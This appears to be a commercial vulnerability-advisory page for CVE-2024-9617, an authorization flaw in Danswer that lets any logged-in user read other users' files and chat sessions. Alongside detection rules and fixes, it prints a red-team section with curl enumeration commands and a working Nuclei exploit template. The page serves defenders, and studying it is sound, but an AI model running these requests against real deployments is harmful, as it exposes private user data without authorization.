☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-9617

CVE-2024-9617 is an Insecure Direct Object Reference (IDOR) vulnerability in danswer-ai/danswer v0.
📅 PUBLISHED: 2025-03-20 10:10 UTC 🔄 UPDATED: 2026-09-23 20:26 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.69%
👁️
1.69% probability
42.2× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9617 is an Insecure Direct Object Reference (IDOR) vulnerability in danswer-ai/danswer v0.3.94. The flaw allows an authenticated attacker to view any user's files by directly calling the GET /api/chat/file/{file_id} endpoint without proper authorization checks. The application fails to verify that the requesting user is the owner of the file, leading to unauthorized disclosure of sensitive chat files and data. The vulnerability has a CVSS score of 6.5 (Medium) and a public proof-of-concept (Nuclei template) is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the open-source Python package danswer-ai/danswer. As of the latest analysis, no official patch has been released. Users are advised to monitor the official GitHub repository for updates and apply manual authorization checks as a temporary mitigation.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – attacker must be authenticated
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication but allows unauthorized access to any user's files, potentially exposing sensitive chat data.

Deep Dive & Mechanics

The vulnerability resides in the file retrieval endpoint /api/chat/file/{file_id}. The application does not enforce ownership checks, meaning an authenticated user can enumerate file_id values and access files belonging to other users. The Nuclei template confirms that the /api/chat/get-chat-session/1?is_shared=True endpoint also lacks proper authorization, returning chat session data without verifying the user's relationship to the session.

Root Cause: Missing authorization check in the backend logic for file and chat session retrieval. The code likely uses a direct database query without filtering by the authenticated user's ID.

Attack Flow:

  1. Attacker authenticates to the Danswer instance.
  2. Attacker sends a GET request to /api/chat/file/{file_id} with a guessed or enumerated file ID.
  3. The server returns the file content without verifying ownership.
  4. Attacker can also use /api/chat/get-chat-session/{session_id}?is_shared=True to retrieve chat session metadata.

Vulnerable vs. Patched Code

Vulnerable Code (v0.3.94):

# No ownership check
@app.get("/api/chat/file/{file_id}")
async def get_file(file_id: int, user: User = Depends(get_current_user)):
    file = db.query(File).filter(File.id == file_id).first()
    return FileResponse(file.path)

Patched Code (Hypothetical):

@app.get("/api/chat/file/{file_id}")
async def get_file(file_id: int, user: User = Depends(get_current_user)):
    file = db.query(File).filter(File.id == file_id, File.owner_id == user.id).first()
    if not file:
        raise HTTPException(status_code=404, detail="File not found")
    return FileResponse(file.path)

The patched version adds a filter to ensure the file's owner_id matches the authenticated user's ID.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Danswer instance (v0.3.94)
  • Valid user credentials

Exploitation Steps:

  1. Authenticate and obtain a session token.
  2. Enumerate file IDs (e.g., 1, 2, 3, ...) using the following curl command:
    curl -X GET "http://target:port/api/chat/file/1" -H "Authorization: Bearer <token>"
    
  3. If the response returns file content, the vulnerability is confirmed.
  4. For chat session enumeration:
    curl -X GET "http://target:port/api/chat/get-chat-session/1?is_shared=True" -H "Authorization: Bearer <token>"
    

Nuclei Template Usage:

nuclei -t CVE-2024-9617.yaml -u http://target:port

Blue Team

Detection Steps:

  1. Monitor logs for repeated GET requests to /api/chat/file/ with sequential or unusual file IDs.
  2. Alert on multiple 200 responses to /api/chat/get-chat-session/ endpoints from the same user.
  3. Implement rate limiting on file retrieval endpoints.
  4. Review access logs for unauthorized file access patterns.

Hunting Query:

SELECT * FROM access_logs 
WHERE endpoint LIKE '/api/chat/file/%' 
AND user_id != file_owner_id;

Indicators of Compromise (IOCs)

  • Endpoint: /api/chat/file/{file_id} (GET)
  • Endpoint: /api/chat/get-chat-session/{session_id}?is_shared=True (GET)
  • HTTP Status Code: 200 (successful unauthorized access)
  • Response Body: Contains file content or chat session JSON data
  • User Agent: Any standard HTTP client (e.g., curl, Python requests)
  • Source IP: Attacker's IP address

Detection Engineering

YARA Rule

rule CVE_2024_9617_IDOR_Access {
    meta:
        description = "Detects attempts to exploit CVE-2024-9617 IDOR in Danswer"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://huntr.com/bounties/8f683ff6-3a99-41c6-b763-a8f7b73bd146"
    strings:
        $endpoint1 = "/api/chat/file/"
        $endpoint2 = "/api/chat/get-chat-session/"
        $param = "is_shared=True"
    condition:
        any of ($endpoint*) and $param
}

Sigma Rule

title: Danswer IDOR Exploitation Attempt
id: 8f683ff6-3a99-41c6-b763-a8f7b73bd146
status: experimental
description: Detects attempts to exploit CVE-2024-9617 by accessing unauthorized files or chat sessions.
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/api/chat/file/*'
            - '/api/chat/get-chat-session/*'
        cs-uri-query: 'is_shared=True'
    condition: selection
falsepositives:
    - Legitimate shared session access
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9617 Danswer IDOR Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/api/chat/file/"; http_uri; content:"/api/chat/get-chat-session/"; http_uri; content:"is_shared=True"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-9617

info:
  name: Danswer - Insecure Direct Object Reference
  author: s4e-io
  severity: medium
  description: |
    The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/{file_id} interface to view any user's file.
  impact: |
    Authenticated attackers can access and view files belonging to other users without proper authorization checks through insecure direct object references, leading to unauthorized disclosure of sensitive chat files and data.
  remediation: |
    Update Danswer to a version that implements proper authorization checks to verify file ownership before allowing access through the GET /api/chat/file/{file_id} and GET /api/chat/get-chat-session endpoints.
  reference:
    - https://huntr.com/bounties/8f683ff6-3a99-41c6-b763-a8f7b73bd146
    - https://github.com/danswer-ai/danswer
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-9617
    cwe-id: CWE-284
    epss-score: 0.15556
    epss-percentile: 0.94708
  metadata:
    verified: true
    max-request: 1
    vendor: danswer-ai
    product: danswer
    fofa-query: icon_hash="484766002"
  tags: cve,cve2024,danswer,idor,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/chat/get-chat-session/1?is_shared=True"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "chat_session_id", "description", "persona_id")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022027e92a79ecd3f75a5b37cecaa0c6a33b652f877945e0e8d7a92bf59dbad0c77f02204be7440568030b63f0e08d7b77fdca8a101fcedd30e7deb3c8365c4186cd2a27:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

  1. Implement authorization checks on /api/chat/file/{file_id} and /api/chat/get-chat-session/{session_id} endpoints to verify file/session ownership.
  2. Apply input validation to ensure file_id and session_id are integers and within expected ranges.
  3. Enable logging and monitoring for suspicious access patterns.

Long-term Fix:

  • Update to a patched version once released by the vendor.
  • Conduct a security audit of all API endpoints for similar IDOR vulnerabilities.
  • Implement role-based access control (RBAC) for file and session management.

Workaround:

  • If patching is not immediately possible, restrict access to the vulnerable endpoints via a Web Application Firewall (WAF) or reverse proxy, allowing only trusted IPs.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: C32C921BB51B096BBA1DE68D] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9617/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.